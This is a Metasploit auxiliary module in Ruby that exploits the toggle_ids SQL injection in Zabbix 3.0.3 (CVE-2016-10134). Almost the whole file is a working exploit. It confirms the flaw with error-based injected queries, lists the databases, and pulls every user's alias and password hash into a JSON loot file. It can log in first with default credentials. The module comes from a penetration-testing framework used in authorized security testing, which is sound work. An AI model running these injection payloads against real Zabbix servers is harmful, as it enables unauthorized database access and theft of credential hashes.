Zabbix toggle_ids SQL Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Zabbix toggle_ids SQL Injection',
        'Description' => %q{
          This module will exploit a SQL injection in Zabbix 3.0.3 and
          likely prior in order to save the current usernames and
          password hashes from the database to a JSON file.
        },
        'References' => [
          ['CVE', '2016-10134'],
          ['URL', 'https://seclists.org/fulldisclosure/2016/Aug/60']
        ],
        'Author' => [
          '[email protected]', # discovery
          'bperry' # module
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2016-08-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptBool.new('REQUIREAUTH', [true, 'Enforce authentication', false]),
        OptString.new('USERNAME', [false, 'The username to authenticate with', 'Admin']),
        OptString.new('PASSWORD', [false, 'The password to authenticate with', 'zabbix']),
        OptString.new('TARGETURI', [true, 'The relative URI for Zabbix', '/zabbix'])
      ]
    )
  end

  def check
    sid, cookies = authenticate

    left_marker = Rex::Text.rand_text_alpha(5)
    right_marker = Rex::Text.rand_text_alpha(5)
    flag = Rex::Text.rand_text_alpha(5)

    query = "AND (SELECT 1256 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
    query << ",(SELECT MID((IFNULL(CAST(0x#{flag.unpack("H*")[0]} AS CHAR),0x20)),1,54)"
    query << " FROM dual LIMIT 0,1),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
    query << ' INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

    res = make_injected_request(query, sid, cookies)

    unless res and res.body
      return Msf::Exploit::CheckCode::Unknown('No response received from the target')
    end

    match = /#{left_marker}(.*)#{right_marker}/.match(res.body)

    unless match
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    if match[1] == flag
      return Msf::Exploit::CheckCode::Vulnerable('SQL injection confirmed via toggleids parameter')
    end

    Msf::Exploit::CheckCode::Safe('SQL injection test did not succeed')
  end

  def run
    sid, cookies = authenticate

    left_marker = Rex::Text.rand_text_alpha(5)
    right_marker = Rex::Text.rand_text_alpha(5)

    query = " AND (SELECT 5361 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
    query << ",(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM"
    query << " INFORMATION_SCHEMA.SCHEMATA),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x"
    query << " FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"

    res = make_injected_request(query, sid, cookies)

    unless res and res.body
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    match = /#{left_marker}(.*)#{right_marker}/.match(res.body)

    unless match
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    count = match[1].to_i

    dbs = []
    0.upto(count - 1) do |cur|
      get_dbs = " AND (SELECT 5184 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
      get_dbs << ",(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,54)"
      get_dbs << " FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]},"
      get_dbs << "FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"

      res = make_injected_request(get_dbs, sid, cookies)

      unless res and res.body
        fail_with(Failure::Unknown, 'Server did not respond in an expected way')
      end

      match = /#{left_marker}(.*)#{right_marker}/.match(res.body)

      unless match
        fail_with(Failure::Unknown, 'Server did not respond in an expected way')
      end

      dbs << match[1]
    end

    dbs.delete("mysql")
    dbs.delete("performance_schema")
    dbs.delete("information_schema")

    users = []
    dbs.each do |db|
      cols = ["alias", "passwd"]

      user_count = " AND (SELECT 6262 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
      user_count << ",(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM"
      user_count << " #{db}.users),0x#{right_marker.unpack("H*")[0]},FLOOR(RAND(0)*2))x FROM"
      user_count << " INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"

      res = make_injected_request(user_count, sid, cookies)

      unless res and res.body
        fail_with(Failure::Unknown, 'Server did not respond in an expected way')
      end

      match = /#{left_marker}(.*)#{right_marker}/.match(res.body)

      unless match
        fail_with(Failure::Unknown, 'Server did not respond in an expected way')
      end

      count = match[1].to_i

      0.upto(count - 1) do |cur|
        user = {}
        cols.each do |col|
          get_col = " AND (SELECT 6334 FROM(SELECT COUNT(*),CONCAT(0x#{left_marker.unpack("H*")[0]}"
          get_col << ",(SELECT MID((IFNULL(CAST(#{col} AS CHAR),0x20)),1,54)"
          get_col << " FROM #{db}.users ORDER BY alias LIMIT #{cur},1),0x#{right_marker.unpack("H*")[0]}"
          get_col << ',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)'

          res = make_injected_request(get_col, sid, cookies)

          unless res and res.body
            fail_with(Failure::Unknown, 'Server did not respond in an expected way')
          end

          match = /#{left_marker}(.*)#{right_marker}/.match(res.body)

          unless match
            fail_with(Failure::Unknown, 'Server did not respond in an expected way')
          end

          user[col] = match[1]
        end
        users << user
      end
    end

    loot = store_loot("zabbixusers.json", "text/plain", rhost, users.to_json)

    print_good('Users and password hashes stored at ' + loot)
  end

  def authenticate
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'index.php')
    })

    unless res and res.body
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    cookies = res.get_cookies

    match = /name="sid" value="(.*?)">/.match(res.body)

    unless match
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    sid = match[1]

    if datastore['REQUIREAUTH']

      res = send_request_cgi({
        'uri' => normalize_uri(target_uri.path, 'index.php'),
        'method' => 'POST',
        'vars_post' => {
          'sid' => sid,
          'form_refresh' => 1,
          'name' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'autologin' => 1,
          'enter' => 'Sign in'
        },
        'cookie' => cookies
      })

      unless res
        fail_with(Failure::Unknown, 'Server did not respond in an expected way')
      end

      if res.code == 302
        cookies = res.get_cookies

        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, 'latest.php'),
          'vars_get' => {
            'ddreset' => '1'
          },
          'cookies' => cookies
        })

        unless res and res.body
          fail_with(Failure::Unknown, 'Server did not respond in an expected way')
        end

        cookies = res.get_cookies
        match = /name="sid" value="(.*?)">/.match(res.body)

        unless match
          fail_with(Failure::Unknown, 'Server did not respond in an expected way')
        end

        sid = match[1]
      else
        fail_with(Failure::Unknown, 'Server did not respond in an expected way')
      end
    end

    return sid, cookies
  end

  def make_injected_request(sql, sid, cookies)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'latest.php'),
      'method' => 'POST',
      'vars_get' => {
        'output' => 'ajax',
        'sid' => sid
      },
      'vars_post' => {
        'favobj' => 'toggle',
        'toggle_ids[]' => '348 ' + sql,
        'toggle_open_state' => 0
      },
      'cookie' => cookies
    })
  end
end